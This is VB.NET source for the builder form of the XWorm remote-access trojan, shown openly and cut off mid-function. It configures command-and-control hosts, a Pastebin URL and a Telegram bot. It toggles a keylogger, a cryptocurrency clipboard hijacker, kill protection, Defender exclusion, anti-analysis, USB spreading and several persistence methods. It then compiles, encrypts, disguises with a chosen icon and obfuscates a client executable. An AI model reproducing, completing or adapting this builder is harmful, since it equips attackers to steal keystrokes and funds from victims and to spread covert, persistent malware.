806 lines
33 KiB
VB.net
806 lines
33 KiB
VB.net
Imports System.CodeDom.Compiler
|
|||
|
|
Imports System.IO
|
||
|
|
Imports System.Security.Cryptography
|
||
|
|
Imports System.Text
|
||
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
||
|
|
|
||
|
|
Public Class Builder
|
||
|
|
|
||
|
|
Public Sub New()
|
||
|
|
InitializeComponent()
|
||
|
|
Opacity = 0
|
||
|
|
FadeIn(Me, 20)
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public iconpath As String
|
||
|
|
Public assm As String
|
||
|
|
|
||
|
|
Public xform As Boolean = False
|
||
|
|
Public xform2 As Boolean = False
|
||
|
|
|
||
|
|
Public Botid As String
|
||
|
|
Public BotToken As String
|
||
|
|
|
||
|
|
Public BTC As String
|
||
|
|
Public ETH As String
|
||
|
|
Public TRC20 As String
|
||
|
|
|
||
|
|
Private Sub Builder_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||
|
|
Try
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing) = "False" Then
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
Else
|
||
|
|
assm = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Assembly", Nothing)
|
||
|
|
xform = True
|
||
|
|
Guna2CheckBox1.Checked = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing) = "False" Then
|
||
|
|
iconpath = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Else
|
||
|
|
iconpath = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Icon", Nothing)
|
||
|
|
xform2 = True
|
||
|
|
Guna2CheckBox2.Checked = True
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing) = "False" Then
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
Guna2ComboBox2.SelectedIndex = 0
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.SelectedIndex = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallDir", Nothing))
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox5.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "InstallStr", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = Nothing Or My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Clipper", Nothing) = "False" Then
|
||
|
|
Guna2ToggleSwitch6.Checked = False
|
||
|
|
Else
|
||
|
|
BTC = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "BTC", Nothing)
|
||
|
|
ETH = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "ETH", Nothing)
|
||
|
|
TRC20 = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "TRC20", Nothing)
|
||
|
|
Guna2ToggleSwitch6.Checked = True
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Keylogger", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch2.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch2.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "AntiKill", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch3.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch3.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "WDEX", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch4.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch4.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Obfuscator", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox4.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2CheckBox4.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Startup", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox6.Checked = True
|
||
|
|
|
||
|
|
Else
|
||
|
|
Guna2CheckBox6.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Reg", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox5.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox5.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Task", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox7.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox7.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Analysis", Nothing) = "True" Then
|
||
|
|
Guna2ToggleSwitch1.Checked = True
|
||
|
|
Else
|
||
|
|
Guna2ToggleSwitch1.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing) = Nothing Then
|
||
|
|
ListBox1.Items.Add("127.0.0.1")
|
||
|
|
Else
|
||
|
|
Dim Hosts As String = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Hosts", Nothing)
|
||
|
|
For Each SPL In Strings.Split(Hosts, ",")
|
||
|
|
If Not String.IsNullOrEmpty(SPL) Then
|
||
|
|
ListBox1.Items.Add(SPL)
|
||
|
|
End If
|
||
|
|
Next
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox3.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox7.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Group", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Url", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing) = Nothing Then
|
||
|
|
Guna2NumericUpDown1.Value = Convert.ToInt32(My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Sleep", Nothing))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Pastebin", Nothing) = "True" Then
|
||
|
|
|
||
|
|
Guna2TextBox2.Enabled = False
|
||
|
|
ListBox1.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = False
|
||
|
|
Guna2CheckBox3.Checked = True
|
||
|
|
Guna2TextBox4.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox2.Enabled = True
|
||
|
|
ListBox1.Enabled = True
|
||
|
|
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = True
|
||
|
|
|
||
|
|
Guna2CheckBox3.Checked = False
|
||
|
|
Guna2TextBox4.Enabled = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing) = Nothing Then
|
||
|
|
Guna2TextBox6.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBN", Nothing)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "USBE", Nothing) = "True" Then
|
||
|
|
Guna2CheckBox8.Checked = True
|
||
|
|
Guna2TextBox6.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2CheckBox8.Checked = False
|
||
|
|
Guna2TextBox6.Enabled = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Sub Compiler(ByVal Path As String, ByVal Code As String)
|
||
|
|
Try
|
||
|
|
Dim providerOptions = New Collections.Generic.Dictionary(Of String, String)
|
||
|
|
providerOptions.Add("CompilerVersion", "v4.0")
|
||
|
|
Dim CodeProvider As New Microsoft.VisualBasic.VBCodeProvider(providerOptions)
|
||
|
|
Dim Parameters As New CompilerParameters
|
||
|
|
Dim OP As String = " /target:winexe /platform:anycpu /nowarn"
|
||
|
|
With Parameters
|
||
|
|
.GenerateExecutable = True
|
||
|
|
.OutputAssembly = Path
|
||
|
|
.CompilerOptions = OP
|
||
|
|
.IncludeDebugInformation = False
|
||
|
|
.ReferencedAssemblies.Add("System.Windows.Forms.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.dll")
|
||
|
|
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Management.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Drawing.dll")
|
||
|
|
.ReferencedAssemblies.Add("System.Core.dll")
|
||
|
|
|
||
|
|
Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code)
|
||
|
|
If Results.Errors.Count > 0 Then
|
||
|
|
For Each E In Results.Errors
|
||
|
|
MsgBox(E.ErrorText, MsgBoxStyle.Critical)
|
||
|
|
Exit Sub
|
||
|
|
Next
|
||
|
|
End If
|
||
|
|
End With
|
||
|
|
|
||
|
|
If Guna2CheckBox2.Checked = True Then
|
||
|
|
IconInjector.InjectIcon(Path, iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox4.Checked = True Then
|
||
|
|
Debug.WriteLine(SimpleObfuscator.Obfuscator.Save(IO.File.ReadAllBytes(Path), Path))
|
||
|
|
End If
|
||
|
|
|
||
|
|
GC.Collect()
|
||
|
|
|
||
|
|
Dim myFile As New FileInfo(Path)
|
||
|
|
|
||
|
|
|
||
|
|
Dim finalPath As String = Path
|
||
|
|
|
||
|
|
Hide()
|
||
|
|
Catch ex As Exception
|
||
|
|
MessageBox.Show(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Public Function Encrypt(ByVal input As String, ByVal Pass As String)
|
||
|
|
Dim AES As New RijndaelManaged
|
||
|
|
Dim Hash_AES As New MD5CryptoServiceProvider
|
||
|
|
Dim encrypted As String = ""
|
||
|
|
Dim hash(31) As Byte
|
||
|
|
Dim temp As Byte() = Hash_AES.ComputeHash(SBUTF8(Pass))
|
||
|
|
Array.Copy(temp, 0, hash, 0, 16)
|
||
|
|
Array.Copy(temp, 0, hash, 15, 16)
|
||
|
|
AES.Key = hash
|
||
|
|
AES.Mode = CipherMode.ECB
|
||
|
|
Dim DESEncrypter As ICryptoTransform = AES.CreateEncryptor
|
||
|
|
Dim Buffer As Byte() = SBUTF8(input)
|
||
|
|
encrypted = Convert.ToBase64String(DESEncrypter.TransformFinalBlock(Buffer, 0, Buffer.Length))
|
||
|
|
Return encrypted
|
||
|
|
End Function
|
||
|
|
Private Function SBUTF8(ByVal s As String) As Byte()
|
||
|
|
Return System.Text.Encoding.UTF8.GetBytes(s)
|
||
|
|
End Function
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox8_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox8.CheckedChanged
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
Guna2TextBox6.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox6.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox2.CheckedChanged
|
||
|
|
|
||
|
|
If xform2 = True Then
|
||
|
|
xform2 = False
|
||
|
|
Return
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox2.Checked = True Then
|
||
|
|
Dim OfD As New OpenFileDialog
|
||
|
|
With OfD
|
||
|
|
.Filter = "(*.exe;*.ico;)|*.exe;*.ico"
|
||
|
|
.InitialDirectory = Application.StartupPath & "\Icons"
|
||
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
||
|
|
If OfD.FileName.EndsWith(".exe") Then
|
||
|
|
iconpath = GetIcon(OfD.FileName)
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
GC.Collect()
|
||
|
|
Else
|
||
|
|
iconpath = OfD.FileName
|
||
|
|
PictureBox1.ImageLocation = (iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
Else
|
||
|
|
iconpath = Nothing
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
End With
|
||
|
|
|
||
|
|
|
||
|
|
End If
|
||
|
|
If Guna2CheckBox2.Checked = False Then
|
||
|
|
iconpath = Nothing
|
||
|
|
PictureBox1.Image = Nothing
|
||
|
|
Guna2CheckBox2.Checked = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
Private Sub Guna2CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox1.CheckedChanged
|
||
|
|
|
||
|
|
If xform = True Then
|
||
|
|
xform = False
|
||
|
|
Return
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox1.Checked = True Then
|
||
|
|
Dim OfD As New OpenFileDialog
|
||
|
|
With OfD
|
||
|
|
.Filter = "(*.exe|*.exe"
|
||
|
|
If OfD.ShowDialog() = DialogResult.OK Then
|
||
|
|
assm = OfD.FileName
|
||
|
|
Guna2CheckBox1.Checked = True
|
||
|
|
Else
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
End If
|
||
|
|
End With
|
||
|
|
|
||
|
|
|
||
|
|
End If
|
||
|
|
If Guna2CheckBox1.Checked = False Then
|
||
|
|
assm = Nothing
|
||
|
|
Guna2CheckBox1.Checked = False
|
||
|
|
End If
|
||
|
|
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox3_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox3.CheckedChanged
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
Guna2TextBox2.Enabled = False
|
||
|
|
ListBox1.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = False
|
||
|
|
|
||
|
|
Guna2TextBox4.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2TextBox2.Enabled = True
|
||
|
|
ListBox1.Enabled = True
|
||
|
|
|
||
|
|
Guna2TextBox3.Enabled = True
|
||
|
|
|
||
|
|
Guna2TextBox4.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
||
|
|
Try
|
||
|
|
If Guna2TextBox1.Text.Length > 32 Or ((Guna2TextBox1.Text.Length) < 1) Then
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
Else
|
||
|
|
Guna2GradientButton1.Enabled = True
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
||
|
|
Try
|
||
|
|
If e.KeyCode = Keys.Enter Then
|
||
|
|
e.SuppressKeyPress = True
|
||
|
|
|
||
|
|
If Not String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||
|
|
If Not ListBox1.Items.Contains(Guna2TextBox2.Text) OrElse String.IsNullOrEmpty(Guna2TextBox2.Text) Then
|
||
|
|
ListBox1.Items.Add(Guna2TextBox2.Text)
|
||
|
|
Guna2TextBox2.Clear()
|
||
|
|
End If
|
||
|
|
End If
|
||
|
|
|
||
|
|
End If
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2TextBox3_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox3.TextChanged
|
||
|
|
Try
|
||
|
|
Dim num As Integer = Conversions.ToInteger(Guna2TextBox3.Text)
|
||
|
|
If ((Conversions.ToInteger(Guna2TextBox3.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox3.Text) < 1)) Then
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
Else
|
||
|
|
Guna2GradientButton1.Enabled = True
|
||
|
|
End If
|
||
|
|
Catch exception1 As Exception
|
||
|
|
Guna2GradientButton1.Enabled = False
|
||
|
|
End Try
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox6_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox6.CheckedChanged
|
||
|
|
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox5_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox5.CheckedChanged
|
||
|
|
If Guna2CheckBox5.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2CheckBox7_CheckedChanged(sender As Object, e As EventArgs) Handles Guna2CheckBox7.CheckedChanged
|
||
|
|
If Guna2CheckBox7.Checked Or Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Then
|
||
|
|
Guna2ComboBox2.Enabled = True
|
||
|
|
Guna2TextBox5.Enabled = True
|
||
|
|
Else
|
||
|
|
Guna2ComboBox2.Enabled = False
|
||
|
|
Guna2TextBox5.Enabled = False
|
||
|
|
End If
|
||
|
|
End Sub
|
||
|
|
|
||
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||
|
|
|
||
|
|
If ListBox1.Items.Count > 0 Or Guna2CheckBox3.Checked = True Then
|
||
|
|
|
||
|
|
Dim Str As String = ""
|
||
|
|
|
||
|
|
Try
|
||
|
|
Dim saveFileDialog As SaveFileDialog = New SaveFileDialog With {
|
||
|
|
.Filter = "(*.exe)|*.exe",
|
||
|
|
.OverwritePrompt = False,
|
||
|
|
.FileName = "XWormClient.exe"
|
||
|
|
}
|
||
|
|
|
||
|
|
If saveFileDialog.ShowDialog() = DialogResult.OK Then
|
||
|
|
Try
|
||
|
|
|
||
|
|
If ListBox1.Items.Count > 0 Then
|
||
|
|
For Each Hosts In ListBox1.Items
|
||
|
|
Str &= Hosts & ","
|
||
|
|
Next
|
||
|
|
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Hosts", Str)
|
||
|
|
End If
|
||
|
|
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Port", Guna2TextBox3.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Key", Guna2TextBox1.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Group", Guna2TextBox7.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBN", Guna2TextBox6.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Url", Guna2TextBox4.Text)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Sleep", Guna2NumericUpDown1.Value.ToString)
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Startup", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox5.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Reg", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox7.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Task", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked Or Guna2CheckBox5.Checked Or Guna2CheckBox7.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", Guna2ComboBox2.SelectedIndex.ToString)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallDir", "False")
|
||
|
|
End If
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "InstallStr", Guna2TextBox5.Text)
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch1.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Analysis", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "USBE", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If assm = Nothing Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", "False")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Assembly", assm)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If iconpath = Nothing Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", "False")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Icon", iconpath)
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch6.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "True")
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BTC", BTC)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "ETH", ETH)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TRC20", TRC20)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Clipper", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch5.Checked Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "True")
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "BotToken", BotToken)
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Botid", Botid)
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "TBotNotify", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Pastebin", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch2.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Keylogger", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch3.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "AntiKill", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2ToggleSwitch4.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "WDEX", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox4.Checked = True Then
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "True")
|
||
|
|
Else
|
||
|
|
My.Computer.Registry.SetValue(SettingsHelper.RegSave, "Obfuscator", "False")
|
||
|
|
End If
|
||
|
|
|
||
|
|
Catch ex As Exception
|
||
|
|
Debug.WriteLine(ex.Message)
|
||
|
|
End Try
|
||
|
|
|
||
|
|
|
||
|
|
Dim Source = My.Resources.Stub
|
||
|
|
Dim validchars As String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
|
||
|
|
Dim sb As New StringBuilder()
|
||
|
|
Dim rand As New Random()
|
||
|
|
For i As Integer = 1 To 16
|
||
|
|
Dim idx As Integer = rand.Next(0, validchars.Length)
|
||
|
|
Dim randomChar As Char = validchars(idx)
|
||
|
|
sb.Append(randomChar)
|
||
|
|
Next i
|
||
|
|
|
||
|
|
Dim randomString = sb.ToString()
|
||
|
|
|
||
|
|
Source = Source.Replace("%Mutex%", randomString)
|
||
|
|
|
||
|
|
Source = Source.Replace("%USB%", Encrypt(Guna2TextBox6.Text, randomString))
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox3.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const Pastebin = False", "#Const Pastebin = True")
|
||
|
|
Source = Source.Replace("%PasteUrl%", Encrypt(Guna2TextBox4.Text, randomString))
|
||
|
|
Else
|
||
|
|
Source = Source.Replace("%Hosts%", Encrypt(Str.Trim().Substring(0, Str.Length - 1), randomString))
|
||
|
|
Source = Source.Replace("%Port%", Encrypt(Guna2TextBox3.Text, randomString))
|
||
|
|
End If
|
||
|
|
|
||
|
|
|
||
|
|
Source = Source.Replace("%KEY%", Encrypt(Guna2TextBox1.Text, randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%Group%", Encrypt(Guna2TextBox7.Text, randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%SPL%", Encrypt("<XWormmm>", randomString))
|
||
|
|
|
||
|
|
Source = Source.Replace("%Sleep%", Guna2NumericUpDown1.Value.ToString)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
If Guna2CheckBox8.Checked = True Then
|
||
|
|
Source = Replace(Source, "#Const USBLNK = False", "#Const USBLNK = True")
|
||
|
|
End If
|
||
|
|
|
||
|
|
If Guna2CheckBox6.Checked = True Then
|
||
|
|
